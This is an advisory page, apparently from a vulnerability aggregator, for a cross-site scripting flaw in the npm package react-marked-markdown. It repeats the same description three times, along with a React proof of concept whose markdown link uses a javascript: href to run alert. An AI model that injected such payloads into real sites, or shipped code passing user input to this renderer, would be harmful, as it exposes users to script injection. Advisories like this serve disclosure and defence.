GHSA-m7qm-r2r5-f77q
Cross-Site Scripting in react-marked-markdown
GHSA-m7qm-r2r5-f77q is a vulnerability with no CVSS score yet in react-marked-markdown, published September 1, 2020. No source lists public exploit code. No source names a fixed version.
- Severity
- UnratedNo CVSS score yet
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
- No fix listedNo source names one
Description
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
Affected packages
| Package | Affected | Fixed |
|---|---|---|
react-marked-markdownnpm | 0.0.0 and later | None known |
What each source reports
GitHub AdvisoriesNo score
Cross-Site Scripting in react-marked-markdown
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
- Record
GHSA-m7qm-r2r5-f77q- Weakness
- CWE-79
- Updated
- 2026-11-02
OSVNo score
Cross-Site Scripting in react-marked-markdown
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
- Record
GHSA-m7qm-r2r5-f77q- Weakness
- CWE-79
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.